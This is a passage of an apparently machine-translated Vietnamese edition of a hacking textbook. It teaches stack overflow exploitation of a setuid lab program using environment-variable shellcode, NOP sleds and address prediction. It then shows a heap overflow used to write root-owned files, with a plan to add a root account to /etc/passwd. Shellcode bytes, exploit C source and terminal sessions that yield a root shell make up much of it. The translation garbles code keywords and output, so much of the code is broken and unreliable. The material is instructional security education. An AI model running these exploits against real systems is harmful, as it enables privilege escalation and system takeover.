:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;
142 0x300
Machine Translated by Google
35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35: *.xcf=01;35:*.xwd=01;
35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35: SSH_AUTH_SOCK=/
tmp/ssh-EpSEbS7489 /agent.7489 GNOME_KEYRING_SOCKET=/tmp/
keyring-AyzuEi/socket SESSION_MANAGER=local/hacking:/tmp/.ICEunix/7489 USERNAME=reader DESKTOP_SESSION=default.desktop PATH=/
usr/local/sbin:/usr/
local /bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr/games GDM_XSERVER_LOCATION=local PWD=/home/reader/booksrc LANG=en_US.UTF-8
GDMSESSION=default.desktop
HISTCONTROL=bỏ qua cả hai
HOME=/home/reader
SHLVL=1
GNOME_DESKTOP_SESSION_ID=Mặc định
LOGNAME=người đọc
DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbusDxW6W1OH1O,guid=4f4e0e9cc6f68009a059740046e28e35 LESSOPEN=| /usr/bin/lesspipe %s HIỂN
THỊ=:0.0
MYVAR=kiểm tra
LESSCLOSE=/usr/bin/lesspipe %s %s RUNNING_UNDER_GDM=có
COLORTERM=gnome-terminal
XAUTHORITY=/home/reader/.Xauthority
_=/usr/bin/env reader@hacking:~/booksrc $
Tương tự như vậy, shellcode có thể được đặt trong một biến môi trường, nhưng trước tiên nó
cần phải ở dạng mà chúng ta có thể dễ dàng thao tác. Có thể sử dụng shellcode từ notesearch
exploit; chúng ta chỉ cần đặt nó vào một tệp ở dạng nhị phân. Các công cụ shell chuẩn của head, grep
và cut có thể được sử dụng để cô lập chỉ các byte hex mở rộng của shellcode.
reader@hacking:~/booksrc $ head exploit_notesearch.c #include
<stdio.h> #include
<stdlib.h>
#include <string.h> char
shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80";
int main(int argc, char *argv[]) {
số nguyên không dấu i, *ptr, ret, offset=270;
reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\""
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80";
reader@hacking:~/
booksrc $ head exploit_notesearch.c | grep "^\"" | cắt -d\" -f2
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68
Khai thác 143
Machine Translated by Google
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89
\xe1\xcd\x80
người đọc@hacking:~/booksrc $
10 dòng đầu tiên của chương trình được đưa vào grep, chỉ hiển thị các dòng bắt đầu bằng dấu ngoặc
kép. Điều này cô lập các dòng chứa shellcode, sau đó được đưa vào cut bằng các tùy chọn để chỉ hiển
thị các byte giữa hai dấu ngoặc kép.
Vòng lặp for của BASH thực sự có thể được sử dụng để gửi từng dòng này tới lệnh echo , với các
tùy chọn dòng lệnh để nhận dạng phần mở rộng hex và ngăn chặn việc thêm ký tự xuống dòng vào cuối.
reader@hacking:~/booksrc $ cho i trong $(head exploit_notesearch.c | grep "^\"" | cắt -d\" -f2)
> làm
> echo -en $i
> xong > shellcode.bin
người đọc@hacking:~/booksrc $ hexdump -C shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 đĩa 80
|...|
00000023
người đọc@hacking:~/booksrc $
Bây giờ chúng ta có shellcode trong một tệp có tên là shellcode.bin. Tệp này có thể được sử dụng
với lệnh thay thế để đưa shellcode vào biến môi trường, cùng với NOP sled.
reader@hacking:~/booksrc $ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
người đọc@hacking:~/booksrc $ echo $SHELLCODE
111 giờ
XQh//suỵt/binQS
người đọc@hacking:~/booksrc $
Và cứ như vậy, shellcode hiện nằm trên stack trong một biến môi trường, cùng với NOP sled 200
byte. Điều này có nghĩa là chúng ta chỉ cần tìm một địa chỉ ở đâu đó trong phạm vi đó của sled để ghi
đè địa chỉ trả về đã lưu. Các biến môi trường nằm gần cuối stack, vì vậy đây là nơi chúng ta nên tìm khi
chạy notesearch trong trình gỡ lỗi.
người đọc@hacking:~/booksrc $ gdb -q ./notesearch
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) ngắt chính
Điểm dừng 1 tại 0x804873c
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/notesearch
Điểm dừng 1, 0x0804873c trong main ()
(gdb)
144 0x300
Machine Translated by Google
Điểm dừng được đặt ở đầu hàm main() và chương trình được chạy.
Điều này sẽ thiết lập bộ nhớ cho chương trình, nhưng nó sẽ dừng lại trước khi
bất cứ điều gì xảy ra. Bây giờ chúng ta có thể kiểm tra bộ nhớ gần cuối ngăn xếp.
(gdb) ir đặc biệt
đặc
0xbffff660
0xbffff660
biệt (gdb) x/24 giây $esp + 0x240
0xbffff8a0:
0xbffff8a1:
0xbffff8a2:
0xbffff8a3:
0xbffff8a4:
0xbffff8a5:
0xbffff8a6:
0xbffff8a7:
0xbffff8a8:
0xbffff8a9:
0xbffff8aa:
""
""
""
""
""
""
""
""
""
""
""
0xbffff8ab: "i686"
0xbffff8b0: "/home/reader/booksrc/notesearch"
0xbffff8d0: "SSH_AGENT_PID=7531"
0xbffffd56: "SHELLCODE=", '\220' <lặp lại 190 lần>...
0xbffff9ab: "\220\220\220\220\220\220\220\220\220\2201�1�1�\231���\200j\vXQh//
shh/bin\211�Q\211�S\211��\200"
0xbffff9d9: "TERM=xterm"
0xbffff9e4:
"Mã_KHỞI_ĐỘNG_MÁY_BÀN="
0xbffff9f8:
"VỎ=/bin/bash"
0xbffffa08:
"GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2"
0xbffffa43:
"CỬA SỔ=39845969"
0xbffffa55:
"USER=người đọc"
0xbffffa61:
"LS_COLORS=không=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:hoặc=
40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31: *.tgz=01;31:*.arj=01
;31:*.taz=0"...
0xbffffb29:
"1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;3
1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01
;35:*.tga=0"...
(gdb) x/giây 0xbffff8e3
0xbffff8e3:
"SHELLCODE=", '\220' <lặp lại 190 lần>...
(gdb) x/giây 0xbffff8e3 + 100
0xbffff947:
'\220' <lặp lại 110 lần>, "1�1�1�\231���\200j\vXQh//shh/bin\
211�Q\211�S\211��\200"
(gdb)
Trình gỡ lỗi sẽ hiển thị vị trí của shellcode, được hiển thị đậm ở trên.
(Khi chương trình được chạy bên ngoài trình gỡ lỗi, các địa chỉ này có thể hơi
khác một chút.) Trình gỡ lỗi cũng có một số thông tin trên ngăn xếp, dịch
chuyển các địa chỉ xung quanh một chút. Nhưng với NOP sled 200 byte, những sự
không nhất quán này không phải là vấn đề nếu một địa chỉ gần giữa sled được
chọn. Trong đầu ra ở trên, địa chỉ 0xbffff947 được hiển thị là gần giữa NOP
sled, điều này sẽ cung cấp cho chúng ta đủ không gian để di chuyển. Sau khi xác
định địa chỉ của các lệnh shellcode được tiêm, việc khai thác chỉ đơn giản là
ghi đè địa chỉ trả về bằng địa chỉ này.
Khai thác 145
Machine Translated by Google
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x47\xf9\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]----sh-3.2# ai đó
gốc rễ
sh-3.2#
Địa chỉ đích được lặp lại đủ nhiều lần để tràn địa chỉ trả về và thực thi trả về NOP
sled trong biến môi trường, điều này chắc chắn dẫn đến shellcode. Trong trường hợp bộ đệm
tràn không đủ lớn để chứa shellcode, có thể sử dụng biến môi trường với NOP sled lớn.
Điều này thường giúp khai thác dễ dàng hơn nhiều.
Một NOP sled lớn là một trợ giúp tuyệt vời khi bạn cần đoán địa chỉ trả về mục
tiêu, nhưng hóa ra vị trí của các biến môi trường dễ dự đoán hơn vị trí của các biến ngăn
xếp cục bộ. Trong thư viện chuẩn của C có một hàm gọi là getenv(), chấp nhận tên của một
biến môi trường làm đối số duy nhất và trả về địa chỉ bộ nhớ của biến đó.
Mã trong getenv_example.c minh họa cách sử dụng getenv().
getenv_example.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s ở %p\n", argv[1], getenv(argv[1]));
}
Khi biên dịch và chạy, chương trình này sẽ hiển thị vị trí của một biến môi trường
nhất định trong bộ nhớ của nó. Điều này cung cấp dự đoán chính xác hơn nhiều về vị trí
của cùng một biến môi trường khi chương trình mục tiêu được chạy.
người đọc@hacking:~/booksrc $ gcc getenv_example.c
reader@hacking:~/booksrc $ ./a.out SHELLCODE
SHELLCODE ở 0xbffff90b
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x0b\xf9\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]----sh-3.2#
Điều này đủ chính xác với một chiếc xe trượt tuyết NOP lớn, nhưng khi cùng một thứ
được thực hiện mà không có xe trượt tuyết, chương trình sẽ bị sập. Điều này có nghĩa
là dự đoán môi trường vẫn bị tắt.
reader@hacking:~/booksrc $ export SLEDLESS=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./a.out SLEDLESS
SLEDLESS ở mức 0xbfffff46
146 0x300
Machine Translated by Google
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x46\xff\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]----Lỗi phân đoạn
người đọc@hacking:~/booksrc $
Để có thể dự đoán chính xác địa chỉ bộ nhớ, cần phải khám phá sự khác
biệt giữa các địa chỉ. Độ dài của tên chương trình đang được thực thi có vẻ
như có tác động đến địa chỉ của các biến môi trường. Có thể khám phá thêm
tác động này bằng cách thay đổi tên chương trình và thử nghiệm. Loại thử
nghiệm và nhận dạng mẫu này là một kỹ năng quan trọng mà một hacker cần có.
reader@hacking:~/booksrc $ cp a.out a
reader@hacking:~/booksrc $ ./a SLEDLESS
SLEDLESS ở mức 0xbfffff4e
reader@hacking:~/booksrc $ cp a.out bb
người đọc@hacking:~/booksrc $ ./bb SLEDLESS
SLEDLESS ở mức 0xbfffff4c
reader@hacking:~/booksrc $ cp a.out ccc
reader@hacking:~/booksrc $ ./ccc SLEDLESS
SLEDLESS ở mức 0xbfffff4a
reader@hacking:~/booksrc $ ./a.out SLEDLESS
SLEDLESS ở mức 0xbfffff46
người đọc@hacking:~/booksrc $ gdb -q
(gdb) p 0xbfffff4e - 0xbfffff46
1 = 8
(gdb) thoát
người đọc@hacking:~/booksrc $
Như thí nghiệm trước đó cho thấy, độ dài của tên chương trình đang thực
thi có ảnh hưởng đến vị trí của các biến môi trường được xuất.
Xu hướng chung có vẻ là giảm hai byte trong địa chỉ của biến môi trường cho
mỗi byte tăng trong độ dài của tên chương trình. Điều này đúng với tên
chương trình a.out, vì sự khác biệt về độ dài giữa các tên a.out và a là
bốn byte, và sự khác biệt giữa địa chỉ 0xbfffff4e và 0xbfffff46 là tám byte.
Điều này có nghĩa là tên của chương trình đang thực thi cũng nằm ở đâu đó
trên ngăn xếp, gây ra sự dịch chuyển.
Được trang bị kiến thức này, địa chỉ chính xác của biến môi trường có
thể được dự đoán khi chương trình dễ bị tấn công được thực thi. Điều này có
nghĩa là có thể loại bỏ được sự hỗ trợ của NOP sled. Chương trình
getenvaddr.c điều chỉnh địa chỉ dựa trên sự khác biệt về độ dài tên chương
trình để cung cấp dự đoán rất chính xác.
getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
Khai thác 147
Machine Translated by Google
int main(int argc, char *argv[]) {
ký tự *ptr;
nếu(argc < 3) {
printf("Cách sử dụng: %s <biến môi trường> <tên chương trình mục tiêu>\n", argv[0]);
thoát(0);
}
ptr = getenv(argv[1]); /* Lấy vị trí biến môi trường. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Điều chỉnh cho tên chương trình. */
printf("%s sẽ ở %p\n", argv[1], ptr);
}
Khi biên dịch, chương trình này có thể dự đoán chính xác vị trí của biến môi trường trong bộ nhớ
trong quá trình thực thi chương trình mục tiêu. Điều này có thể được sử dụng để khai thác lỗi tràn bộ
đệm dựa trên ngăn xếp mà không cần NOP sled.
reader@hacking:~/booksrc $ gcc -o getenvaddr getenvaddr.c
reader@hacking:~/booksrc $ ./getenvaddr SLEDLESS ./notesearch
SLEDLESS sẽ ở 0xbfffff3c
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x40')
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
Như bạn thấy, không phải lúc nào cũng cần mã khai thác để khai thác chương trình. Việc sử dụng các
biến môi trường giúp đơn giản hóa mọi thứ đáng kể khi khai thác từ dòng lệnh, nhưng các biến này cũng có
thể được sử dụng để làm cho mã khai thác đáng tin cậy hơn.
Hàm system () được sử dụng trong chương trình notesearch_exploit.c để thực thi lệnh. Hàm này bắt
đầu một tiến trình mới và chạy lệnh bằng / bin/sh -c. -c yêu cầu chương trình sh thực thi lệnh từ đối số
dòng lệnh được truyền cho nó. Có thể sử dụng tìm kiếm mã của Google để tìm mã nguồn cho hàm này, điều
này sẽ cho chúng ta biết thêm thông tin.
Truy cập http://www.google.com/codesearch?q=package:libc+system để xem toàn bộ mã này.
Mã từ libc-2.2.2
int hệ thống(const char * cmd)
{
int ret, pid, waitstat;
void (*sigint) (), (*sigquit) ();
nếu ((pid = fork()) == 0) {
execl("/bin/sh", "sh", "-c", cmd, NULL);
thoát(127);
}
nếu (pid < 0) trả về (127 << 8);
sigint = tín hiệu(SIGINT, SIG_IGN);
sigquit = tín hiệu(SIGQUIT, SIG_IGN);
trong khi ((waitstat = wait(&ret)) != pid && waitstat != -1);
nếu (waitstat == -1) ret = -1;
148 0x300
Machine Translated by Google
tín hiệu(SIGINT, sigint);
tín hiệu(SIGQUIT, sigquit);
trả về(ret);
}
Phần quan trọng của hàm này được in đậm. Hàm fork() bắt đầu một tiến trình mới
và hàm execl() được sử dụng để chạy lệnh thông qua /bin/sh với các đối số dòng lệnh
thích hợp.
Việc sử dụng system() đôi khi có thể gây ra vấn đề. Nếu một chương trình
setuid sử dụng system(), các đặc quyền sẽ không được chuyển giao, vì /bin/sh đã
xóa các đặc quyền kể từ phiên bản hai. Điều này không đúng với khai thác của chúng
tôi, nhưng khai thác cũng không thực sự cần phải bắt đầu một quy trình mới. Chúng
ta có thể bỏ qua fork () và chỉ tập trung vào hàm execl() để chạy lệnh.
Hàm execl() thuộc về một họ hàm thực thi lệnh bằng cách thay thế tiến trình
hiện tại bằng tiến trình mới. Các đối số cho execl() bắt đầu bằng đường dẫn đến
chương trình đích và theo sau là từng đối số dòng lệnh. Đối số hàm thứ hai thực ra
là đối số dòng lệnh thứ không, là tên của chương trình. Đối số cuối cùng là NULL để
kết thúc danh sách đối số, tương tự như cách một byte null kết thúc một chuỗi.
Hàm execl() có một hàm chị em gọi là execle(), có một đối số bổ sung để chỉ
định môi trường mà tiến trình thực thi sẽ chạy. Môi trường này được trình bày dưới
dạng một mảng các con trỏ đến các chuỗi kết thúc bằng null cho mỗi biến môi trường
và bản thân mảng môi trường được kết thúc bằng một con trỏ NULL.
Với execl(), môi trường hiện tại được sử dụng, nhưng nếu bạn sử dụng
execle(), toàn bộ môi trường có thể được chỉ định. Nếu mảng môi trường chỉ là
shellcode làm chuỗi đầu tiên (với con trỏ NULL để kết thúc danh sách), biến môi
trường duy nhất sẽ là shellcode. Điều này làm cho địa chỉ của nó dễ tính toán.
Trong Linux, địa chỉ sẽ là 0xbffffffa, trừ đi độ dài của shellcode trong môi trường,
trừ đi độ dài của tên chương trình được thực thi. Vì địa chỉ này sẽ chính xác, nên
không cần NOP sled. Tất cả những gì cần thiết trong bộ đệm khai thác là địa chỉ,
được lặp lại đủ số lần để tràn địa chỉ trả về trong ngăn xếp, như được hiển thị
trong exploit_nosearch_env.c.
khai thác_lưu ý_tìm_kiếm_env.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
số nguyên không dấu i, ret;
Khai thác 149
Machine Translated by Google
char *buffer = (char *) malloc(160);
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
đối với (i = 0; i < 160; i + = 4)
*((số nguyên không dấu *)(bộ đệm+i)) = ret;
execle("./notesearch", "notesearch", bộ đệm, 0, môi trường);
miễn phí(bộ đệm);
}
Khai thác này đáng tin cậy hơn vì nó không cần NOP sled hoặc bất kỳ phỏng
đoán nào về offset. Ngoài ra, nó không khởi động bất kỳ quy trình bổ sung nào.
reader@hacking:~/booksrc $ gcc exploit_notesearch_env.c reader@hacking:~/
booksrc $ ./a.out
-------[ kết thúc dữ liệu ghi chú ]----sh-3.2#
0x340 Tràn trong các phân đoạn khác
Tràn bộ đệm có thể xảy ra ở các phân đoạn bộ nhớ khác, như heap và bss.
Giống như trong auth_overflow.c, nếu một biến quan trọng nằm sau một bộ đệm dễ
bị tràn, luồng điều khiển của chương trình có thể bị thay đổi. Điều này đúng
bất kể phân đoạn bộ nhớ mà các biến này nằm trong; tuy nhiên, việc điều khiển có
xu hướng khá hạn chế. Việc có thể tìm ra các điểm điều khiển này và học cách tận
dụng tối đa chúng chỉ cần một số kinh nghiệm và tư duy sáng tạo. Mặc dù các
loại tràn này không được chuẩn hóa như tràn dựa trên ngăn xếp, nhưng chúng có
thể hiệu quả như vậy.
0x341 Tràn bộ nhớ dựa trên heap cơ bản
Chương trình notetaker từ Chương 2 cũng dễ bị lỗ hổng tràn bộ đệm. Hai bộ đệm được phân bổ trên heap
và đối số dòng lệnh đầu tiên được sao chép vào bộ đệm đầu tiên. Tràn có thể xảy ra ở đây.
Trích đoạn từ notetaker.c
bộ đệm = (ký tự *) ec_malloc(100);
tệp dữ liệu = (char *) ec_malloc(20);
strcpy(tệp dữ liệu, "/var/notes");
nếu(argc < 2)
// Nếu không có đối số dòng lệnh,
usage(argv[0], datafile); // hiển thị thông báo sử dụng và thoát.
strcpy(buffer, argv[1]); // Sao chép vào bộ đệm.
printf("[DEBUG] bộ đệm @ %p: \'%s\'\n", bộ đệm, bộ đệm);
printf("[DEBUG] tệp dữ liệu @ %p: \'%s\'\n", tệp dữ liệu, tệp dữ liệu);
150 0x300
Machine Translated by Google
Trong điều kiện bình thường, phân bổ bộ đệm nằm ở 0x804a008, trước phân bổ tệp
dữ liệu ở 0x804a070, như đầu ra gỡ lỗi cho thấy. Khoảng cách giữa hai địa chỉ này là
104 byte.
reader@hacking:~/booksrc $ ./notetaker thử nghiệm
[DEBUG] bộ đệm @ 0x804a008: 'kiểm tra'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
người đọc@hacking:~/booksrc $ gdb -q
(gdb) trang 0x804a070 - 0x804a008
1 = 104
(gdb) thoát
người đọc@hacking:~/booksrc $
Vì bộ đệm đầu tiên bị chấm dứt bằng null nên lượng dữ liệu tối đa có thể đưa vào
bộ đệm này mà không tràn sang bộ đệm tiếp theo là 104 byte.
reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104')
[DEBUG] bộ đệm @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
''
[DEBUG] datafile @ 0x804a070: [!!]
Lỗi nghiêm trọng trong main() khi mở tệp: Không có tệp hoặc thư mục nào như vậy
người đọc@hacking:~/booksrc $
Như đã dự đoán, khi thử 104 byte, byte kết thúc null sẽ tràn vào đầu bộ đệm tệp
dữ liệu . Điều này khiến tệp dữ liệu không còn gì ngoài một byte null duy nhất, rõ
ràng là không thể mở dưới dạng tệp.
Nhưng điều gì sẽ xảy ra nếu bộ đệm tệp dữ liệu bị ghi đè bằng thứ gì đó nhiều hơn một
byte null?
reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104 . "testfile"')
[DEBUG] bộ đệm @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtệp
kiểm tra'
[DEBUG] tệp dữ liệu @ 0x804a070: 'testfile'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
*** glibc đã phát hiện *** ./notetaker: free(): không hợp lệ kích thước tiếp theo (bình thường): 0x0804a008 ***
======== Theo dõi ngược: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./người ghi chép[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./người ghi chép[0x8048511]
======= Bản đồ bộ nhớ: ========
08048000-08049000 r-xp 00000000 00:0f 44384
/bò/nhà/người đọc/booksrc/người ghi chép
08049000-0804a000 rw-p 00000000 00:0f 44384
/bò/nhà/người đọc/booksrc/người ghi chép
0804a000-0806b000 rw-p 0804a000 00:00 0 b7d00000-
[đống]
b7d21000 rw-p b7d00000 00:00 0 b7d21000-b7e00000
---p b7d21000 00:00 0 b7e83000-b7e8e000 r-xp
00000000 07:00 15444 b7e8e000-b7e8f000 rw-p 0000a000
/rofs/lib/libgcc_s.so.1
07:00 15444
/rofs/lib/libgcc_s.so.1
Khai thác
151
Machine Translated by Google
b7e99000-b7e9a000 rw-p b7e99000 00:00 0 b7e9a000b7fd5000 r-xp 00000000 07:00 15795 b7fd5000-b7fd6000 r--
/rofs/lib/tls/i686/cmov/libc-2.5.so
p 0013b000 07:00 15795 b7fd6000-b7fd8000 rw-p 0013c000
/rofs/lib/tls/i686/cmov/libc-2.5.so
07:00 15795 b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
/rofs/lib/tls/i686/cmov/libc-2.5.so
b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0 b7fe7000b8000000 r-xp 00000000 07:00 15421 b8000000-b8002000
rw-p 00019000 07:00 15421 bffeb000-c0000000 rw-p bffeb000
/rofs/lib/ld-2.5.so
00:00 0 ffffe000-fffff000 r-xp 00000000 00:00 0
/rofs/lib/ld-2.5.so
[chồng]
[video]
Đã hủy bỏ
người đọc@hacking:~/booksrc $
Lần này, tràn được thiết kế để ghi đè lên bộ đệm tệp dữ liệu bằng
chuỗi testfile. Điều này khiến chương trình ghi vào testfile thay vì /
var/notes, như ban đầu nó được lập trình để làm. Tuy nhiên, khi bộ nhớ
heap được giải phóng bằng lệnh free() , lỗi trong tiêu đề heap được phát
hiện và chương trình bị chấm dứt. Tương tự như địa chỉ trả về ghi đè
bằng tràn ngăn xếp, có các điểm kiểm soát trong chính kiến trúc heap.
Phiên bản mới nhất của glibc sử dụng các hàm quản lý bộ nhớ heap đã
phát triển cụ thể để chống lại các cuộc tấn công hủy liên kết heap. Kể
từ phiên bản 2.2.5, các hàm này đã được viết lại để in thông tin gỡ lỗi
và chấm dứt chương trình khi chúng phát hiện ra sự cố với thông tin
tiêu đề heap. Điều này làm cho việc hủy liên kết heap trong Linux trở
nên rất khó khăn. Tuy nhiên, khai thác cụ thể này không sử dụng thông
tin tiêu đề heap để thực hiện phép thuật của nó, vì vậy khi free() được
gọi, chương trình đã bị lừa ghi vào một tệp mới với quyền root.
reader@hacking:~/booksrc $ grep -B10 free notetaker.c
if(write(fd, buffer, strlen(buffer)) == -1) // Viết ghi chú.
fatal("trong hàm main() khi ghi bộ đệm vào tệp");
write(fd, "\n", 1); // Kết thúc dòng.
// Đóng tập tin
nếu(đóng(fd) == -1)
fatal("trong hàm main() khi đóng tệp");
printf("Ghi chú đã được lưu.\n");
miễn phí(bộ đệm);
miễn phí(tệp dữ liệu);
reader@hacking:~/booksrc $ ls -l ./testfile -rw------1 gốc reader 118 2007-09-09 16:19 ./testfile
reader@hacking:~/booksrc $ cat ./testfile cat: ./testfile:
Quyền bị từ chối
người đọc@hacking:~/booksrc $ sudo cat ./testfile ?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAtập tin thử nghiệm
người đọc@hacking:~/booksrc $
152 0x300
Machine Translated by Google
Một chuỗi được đọc cho đến khi gặp một byte null, do đó toàn bộ chuỗi được ghi
vào tệp dưới dạng userinput . Vì đây là chương trình gốc suid, tệp được tạo ra thuộc
sở hữu của root. Điều này cũng có nghĩa là vì tên tệp có thể được kiểm soát, dữ liệu
có thể được thêm vào bất kỳ tệp nào. Tuy nhiên, dữ liệu này có một số hạn chế; nó phải
kết thúc bằng tên tệp được kiểm soát và một dòng có ID người dùng cũng sẽ được ghi.
Có lẽ có một số cách thông minh để khai thác khả năng này.
Cách rõ ràng nhất là thêm một cái gì đó vào tệp /etc/passwd. Tệp này chứa tất cả tên
người dùng, ID và shell đăng nhập cho tất cả người dùng của hệ thống. Đương nhiên, đây
là tệp hệ thống quan trọng, vì vậy bạn nên tạo một bản sao lưu trước khi can thiệp quá
nhiều vào nó.
reader@hacking:~/booksrc $ cp /etc/passwd /tmp/passwd.bkup
reader@hacking:~/booksrc $ head /etc/passwd
gốc:x:0:0:gốc:/gốc:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
thùng:x:2:2:thùng:/thùng:/thùng/sh
hệ thống:x:3:3:hệ thống:/dev:/bin/sh
đồng bộ:x:4:65534:đồng bộ:/bin:/bin/đồng bộ
trò chơi:x:5:60:trò chơi:/usr/trò chơi:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
thư:x:8:8:mail:/var/mail:/bin/sh
tin tức:x:9:9:tin tức:/var/spool/tin tức:/bin/sh
người đọc@hacking:~/booksrc $
Các trường trong tệp /etc/passwd được phân cách bằng dấu hai chấm, trường đầu tiên
là tên đăng nhập, sau đó là mật khẩu, ID người dùng, ID nhóm, tên người dùng, thư
mục home và cuối cùng là shell đăng nhập. Các trường mật khẩu đều được điền bằng ký
tự x , vì mật khẩu được mã hóa được lưu trữ ở nơi khác trong tệp shadow. (Tuy nhiên,
trường này có thể chứa mật khẩu được mã hóa.)
Ngoài ra, bất kỳ mục nhập nào trong tệp mật khẩu có ID người dùng là 0 sẽ được cấp
quyền root. Điều đó có nghĩa là mục tiêu là thêm một mục nhập bổ sung có cả quyền
root và mật khẩu đã biết vào tệp mật khẩu.
Mật khẩu có thể được mã hóa bằng thuật toán băm một chiều.
Vì thuật toán là một chiều, nên mật khẩu gốc không thể được tạo lại từ giá trị băm.
Để ngăn chặn các cuộc tấn công tra cứu, thuật toán sử dụng giá trị muối, khi thay đổi
sẽ tạo ra một giá trị băm khác cho cùng một mật khẩu đầu vào. Đây là một hoạt động
phổ biến và Perl có hàm crypt() thực hiện hoạt động này. Đối số đầu tiên là mật khẩu
và đối số thứ hai là giá trị muối. Cùng một mật khẩu với một muối khác nhau sẽ tạo
ra một muối khác nhau.
reader@hacking:~/booksrc $ perl -e 'in crypt("mật khẩu", "AA"). "\n"'
AA6tQYSfGxd/A
reader@hacking:~/booksrc $ perl -e 'in crypt("mật khẩu", "XX"). "\n"'
XXq2wKiyI43A2
người đọc@hacking:~/booksrc $
Lưu ý rằng giá trị salt luôn ở đầu băm. Khi người dùng đăng nhập và nhập mật
khẩu, hệ thống sẽ tra cứu mật khẩu được mã hóa
Khai thác 153
Machine Translated by Google
cho người dùng đó. Sử dụng giá trị muối từ mật khẩu được mã hóa đã lưu trữ,
